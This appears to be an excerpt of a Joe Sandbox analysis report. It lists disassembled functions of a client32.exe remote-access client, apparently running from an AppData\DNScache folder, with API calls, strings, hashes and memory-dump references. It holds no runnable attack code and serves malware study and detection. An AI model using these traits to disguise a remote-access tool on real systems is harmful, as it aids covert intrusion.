Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Message$CriticalSectionSend$DispatchEnterLeaveTranslate
String ID: Exit Msgloop, quit=%d
API String ID: 3212272093-2210386016
Opcode ID: ad62df4f6a177287a26eb3aeeeb4ef6fd92fe6a01e84c9031917bab1664ab4e6
Instruction ID: d3db80ed1f2384e6355ac209f3b858468c83afcfc05be401cfa1999254397b42
Opcode Fuzzy Hash: ad62df4f6a177287a26eb3aeeeb4ef6fd92fe6a01e84c9031917bab1664ab4e6
Instruction Fuzzy Hash: BA012473E0121E26EB11EAE49C81FAFB3AC5B44708FD040A5EE14E7185E761B010C7A2

Function 11017640 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 1101764D

Part of subcall function 11017550: WaitForSingleObject.KERNEL32(00000314,000000FF), ref: 1101758C
Part of subcall function 11017550: CoInitialize.OLE32(00000000), ref: 11017595
Part of subcall function 11017550: _GetRawWMIStringW@16.PCICL32(Win32_ComputerSystem,00000001,?,?), ref: 110175BC
Part of subcall function 11017550: CoUninitialize.COMBASE ref: 11017620

Part of subcall function 11017470: WaitForSingleObject.KERNEL32(00000314,000000FF), ref: 110174A2
Part of subcall function 11017470: CoInitialize.OLE32(00000000), ref: 110174AB
Part of subcall function 11017470: _GetRawWMIStringW@16.PCICL32(Win32_SystemEnclosure,00000001,?,?), ref: 110174D2
Part of subcall function 11017470: CoUninitialize.COMBASE ref: 11017530

SetEvent.KERNEL32(00000314), ref: 1101766D
GetTickCount.KERNEL32 ref: 11017673

Strings

touchkbd, systype=%d, chassis=%d, took %d ms, xrefs: 1101767D

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CountInitializeObjectSingleStringTickUninitializeW@16Wait$Event
String ID: touchkbd, systype=%d, chassis=%d, took %d ms
API String ID: 3804766296-4122679463
Opcode ID: 7c0e217cac6ad692df6fe3b4bd587e1beadc8a543886d5bfbbd8a1ac4904fbce
Instruction ID: 3f66c20402e593fa0d6c73e7bcd0eef763e37385d1a6c82da5c1e0c8f0d08e1d
Opcode Fuzzy Hash: 7c0e217cac6ad692df6fe3b4bd587e1beadc8a543886d5bfbbd8a1ac4904fbce
Instruction Fuzzy Hash: 57F0A7B5E102186BE700DBF99C89D6EBB9CD744359B000075F904D7245E9B2BD1047B1

Function 6C4D5000 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 32libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,GetModuleFileNameExA), ref: 6C4D5014
K32GetModuleFileNameExA.KERNEL32(00000FA0,?,00000000,00000104,00000000,?,6C4D8E50,00000000,?,?,00000104,00000000,?,00000FA0,?), ref: 6C4D5034
SetLastError.KERNEL32(00000078,00000000,?,6C4D8E50,00000000,?,?,00000104,00000000,?,00000FA0,?), ref: 6C4D503D

Strings

GetModuleFileNameExA, xrefs: 6C4D500E

Memory Dump Source

Source File: 00000007.00000002.4615852637.000000006C4D1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000007.00000002.4615833701.000000006C4D0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615887616.000000006C510000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615911786.000000006C519000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615930874.000000006C51A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615930874.000000006C51E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615968778.000000006C520000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c4d0000_client32.jbxd

Yara matches

Similarity

API ID: AddressErrorFileLastModuleNameProc
String ID: GetModuleFileNameExA
API String ID: 4084229558-758377266
Opcode ID: cbafe9cdbdf4161cfb868f9a35ed298f196f7f56e9c1baf74567b8d37de5db4f
Instruction ID: 2672255d028eff47b329e56f6bffe30fe113b13d2ad27b8ac2dda6919d034627
Opcode Fuzzy Hash: cbafe9cdbdf4161cfb868f9a35ed298f196f7f56e9c1baf74567b8d37de5db4f
Instruction Fuzzy Hash: 86F05EB2A14218AFD720DF94EC48E5777B8EB88711F01491AF946D7A40C671F810CBE1

Function 6C4D4FB0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 32libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 6C4D4FC4
K32EnumProcessModules.KERNEL32(00000FA0,?,00000000,6C4D8E0D,00000000,?,6C4D8E0D,00000000,?,00000FA0,?), ref: 6C4D4FE4
SetLastError.KERNEL32(00000078,00000000,?,6C4D8E0D,00000000,?,00000FA0,?), ref: 6C4D4FED

Strings

EnumProcessModules, xrefs: 6C4D4FBE

Memory Dump Source

Source File: 00000007.00000002.4615852637.000000006C4D1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000007.00000002.4615833701.000000006C4D0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615887616.000000006C510000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615911786.000000006C519000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615930874.000000006C51A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615930874.000000006C51E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615968778.000000006C520000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c4d0000_client32.jbxd

Yara matches

Similarity

API ID: AddressEnumErrorLastModulesProcProcess
String ID: EnumProcessModules
API String ID: 3858832252-3735562946
Opcode ID: 3ec2409107e0a04c4efda16283b5eb9a528e5917ce4bfcb3752bfa51a687e491
Instruction ID: 22355ef2f7c9d6ca12db8497a1b586df56a85f71be592ffd0d0932016060484b
Opcode Fuzzy Hash: 3ec2409107e0a04c4efda16283b5eb9a528e5917ce4bfcb3752bfa51a687e491
Instruction Fuzzy Hash: 5CF05E76604218AFC710DF95D848E5B77A8EB88761F01891AF95997A40C670E810CFA0

Function 11134DF0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 27threadCOMMON

Download Yara Rule

APIs

Part of subcall function 1105D350: __wcstoi64.LIBCMT ref: 1105D38D

CreateThread.KERNEL32(00000000,00001000,Function_00134C30,00000000,00000000,11135E02), ref: 11134E2E
CloseHandle.KERNEL32(00000000,?,11135E02,AutoICFConfig,00000000,00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 11134E35

Strings

*AutoICFConfig, xrefs: 11134E07
Client, xrefs: 11134E0C

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseCreateHandleThread__wcstoi64
String ID: *AutoICFConfig$Client
API String ID: 3257255551-59951473
Opcode ID: b708feff77d6696842c2c20f7c2535151044f4b5f2031e6a83c777a15fd76c61
Instruction ID: 5226e41c63e7dbc6a25db253a66347c6ee290d5013a6a6822523c322580964b9
Opcode Fuzzy Hash: b708feff77d6696842c2c20f7c2535151044f4b5f2031e6a83c777a15fd76c61
Instruction Fuzzy Hash: 71E0D8347902687EF7218AE28D46F58F3589744B67F500224F721650C8D6A460408739

Function 1106FDD0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 134sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000000FA), ref: 1106FE27
EnterCriticalSection.KERNEL32(?), ref: 1106FE34
LeaveCriticalSection.KERNEL32(?), ref: 1106FF06

Strings

Push, xrefs: 1106FDF6

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeaveSleep
String ID: Push
API String ID: 1566154052-4278761818
Opcode ID: cad264493a76cf8897b056fb152748673e7475aa123ee569e8f848ac225aecfd
Instruction ID: 8dfa3cba5bf0fbc25463c0c24587327a5cb7f90c02eb138dd624edcf4d299a63
Opcode Fuzzy Hash: cad264493a76cf8897b056fb152748673e7475aa123ee569e8f848ac225aecfd
Instruction Fuzzy Hash: 5051CB75E00341DFE721CF64C894B56FBE9AF08718F45859DE86A8B282D730F944CB92

Function 6C4D5C90 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

ioctlsocket.WSOCK32(93AE34B3,4004667F,00000000,a3Nl), ref: 6C4D5D1F
select.WSOCK32(00000001,?,00000000,?,00000000,93AE34B3,4004667F,00000000,a3Nl), ref: 6C4D5D62

Strings

a3Nl, xrefs: 6C4D5D0E

Memory Dump Source

Source File: 00000007.00000002.4615852637.000000006C4D1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000007.00000002.4615833701.000000006C4D0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615887616.000000006C510000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615911786.000000006C519000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615930874.000000006C51A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615930874.000000006C51E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615968778.000000006C520000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c4d0000_client32.jbxd

Yara matches

Similarity

API ID: ioctlsocketselect
String ID: a3Nl
API String ID: 1457273030-2920110923
Opcode ID: 0997254933cd57b9400e3e80419cf4fc36979e3f282a99c783468eb2c37bbf66
Instruction ID: dd4b16b5fd10dbceb97c86576f8277cd9da75b39c4e99538693e2d1e3654a9b1
Opcode Fuzzy Hash: 0997254933cd57b9400e3e80419cf4fc36979e3f282a99c783468eb2c37bbf66
Instruction Fuzzy Hash: D0213170A012189BEB28DF14C958FEDB7B9EF88305F0081DEA80957681DB705F99DF90

Function 1113FFC0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(110290EF,?,11140213,?), ref: 1113FFCC
GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\AppData\Local\DNScache\client32.exe,00000104,?,11140213,?), ref: 1113FFE9

Strings

C:\Users\user\AppData\Local\DNScache\client32.exe, xrefs: 1113FFD4, 1113FFE2

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CurrentFileModuleNameProcess
String ID: C:\Users\user\AppData\Local\DNScache\client32.exe
API String ID: 2251294070-3995528064
Opcode ID: a920006750e44756fc9d9f5634bd5b7cdbca965e8d97425d67cfa8d3fef320ba
Instruction ID: 3861a2256d97ab3587e169a88173a1ad5162c73b82a2be34c78142318e04e013
Opcode Fuzzy Hash: a920006750e44756fc9d9f5634bd5b7cdbca965e8d97425d67cfa8d3fef320ba
Instruction Fuzzy Hash: 551104703012129FE702CFA9CA80B6AF7D4BB40B5DF20443CE51CC7284DB72E4808B66

Function 6C4E7AE0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 46COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 6C4E7B44

Strings

hbuf->data, xrefs: 6C4E7B2C
httputil.c, xrefs: 6C4E7B27

Memory Dump Source

Source File: 00000007.00000002.4615852637.000000006C4D1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000007.00000002.4615833701.000000006C4D0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615887616.000000006C510000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615911786.000000006C519000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615930874.000000006C51A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615930874.000000006C51E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615968778.000000006C520000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c4d0000_client32.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: hbuf->data$httputil.c
API String ID: 4104443479-2732665889
Opcode ID: 952bb6f2f2c56121c025cbf5c905601fd5407ad97df12104d5b51943a503e213
Instruction ID: 420332f59b88a608189a0577ca5b2008ab4867b0d43f1b1628039b5a7b94d40c
Opcode Fuzzy Hash: 952bb6f2f2c56121c025cbf5c905601fd5407ad97df12104d5b51943a503e213
Instruction Fuzzy Hash: B301F97A6043016FD710EE68DC84E96B7ADEBC8369B05C92DF948C7B05D670F94487E0

Function 110CE2D0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 43COMMON

Download Yara Rule

APIs

__strdup.LIBCMT ref: 110CE2EA

Strings

*this==pszSrc, xrefs: 110CE32F
..\CTL32\NSMString.cpp, xrefs: 110CE32A

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: __strdup
String ID: *this==pszSrc$..\CTL32\NSMString.cpp
API String ID: 838363481-1175285396
Opcode ID: fe394b4b7f598ffdd5f2dff962ba98becfda34ccc9ca43f8d2eecab3f36f48ff
Instruction ID: eeccc3474358d3e74e2719df0037009bed9e39e7ed5e23eed1fa245b6a95648c
Opcode Fuzzy Hash: fe394b4b7f598ffdd5f2dff962ba98becfda34ccc9ca43f8d2eecab3f36f48ff
Instruction Fuzzy Hash: 4BF02875E003121BC301CE5AAC04B9FFFED8F91A68B04C4BAE888D7211E630F805CAD0

Function 1110C530 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 1110C539

Part of subcall function 1115F231: __FF_MSGBANNER.LIBCMT ref: 1115F24A
Part of subcall function 1115F231: __NMSG_WRITE.LIBCMT ref: 1115F251
Part of subcall function 1115F231: RtlAllocateHeap.NTDLL(00000000,00000001,?,?,?,?,1110C53E,?,?,?,?,111413D2,?,?,?), ref: 1115F276

_memset.LIBCMT ref: 1110C562

Part of subcall function 110290C0: GetLastError.KERNEL32(?,00000000,?), ref: 110290DC
Part of subcall function 110290C0: wsprintfA.USER32 ref: 11029127
Part of subcall function 110290C0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029163
Part of subcall function 110290C0: ExitProcess.KERNEL32 ref: 11029179

Strings

..\ctl32\Refcount.cpp, xrefs: 1110C54C

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AllocateErrorExitHeapLastMessageProcess_malloc_memsetwsprintf
String ID: ..\ctl32\Refcount.cpp
API String ID: 2803934178-2363596943
Opcode ID: 200ad2d98d6ddf261c64d4afe06da0272156d6e1d9b3f8a27b88e704f1a19228
Instruction ID: f168feb4c3d095bf71b41361d37947cfa605cfdaea55741e508b3d61f27a55cd
Opcode Fuzzy Hash: 200ad2d98d6ddf261c64d4afe06da0272156d6e1d9b3f8a27b88e704f1a19228
Instruction Fuzzy Hash: 4BE0C26BF4052933C251148A3C02FDBFB9C8BA29BCF050031FE08AB241E58AA60281E3

Function 110151E0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 18fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(\\.\NSWFPDrv,80000000,00000000,00000000,00000003,40000000,00000000,00000001,1102E966,MiniDumpType,000000FF,00000000,00000000,?,?,View), ref: 110151F7
CloseHandle.KERNEL32(00000000,?,?,View,Client,Bridge), ref: 11015208

Strings

\\.\NSWFPDrv, xrefs: 110151F2

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseCreateFileHandle
String ID: \\.\NSWFPDrv
API String ID: 3498533004-85019792
Opcode ID: 58fe6af3b299a8729e671f8465e60fa738919445efc771f3e1e6d14fb593c1fa
Instruction ID: 8afacd648940fbcf920c8f513ecddd5490900b3845592452e47c7361a4afad73
Opcode Fuzzy Hash: 58fe6af3b299a8729e671f8465e60fa738919445efc771f3e1e6d14fb593c1fa
Instruction Fuzzy Hash: FFD0C971A420347AF231196AAC4CFCBAD0DDB427B5F210260FA3DE51C4C210489182F1

Function 111584F0 Relevance: 4.7, APIs: 3, Instructions: 158COMMON

Download Yara Rule

APIs

_calloc.LIBCMT ref: 11158513

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _calloc
String ID:
API String ID: 1679841372-0
Opcode ID: f3031245be8cca8daca63661d5ebf3f85c00e07d5324add31e8ecbca0796b44d
Instruction ID: 5025096fd8de2d151e38b3cbd3e49b7fa9e397ac28c8a5b9b8e36d9e3f64c26c
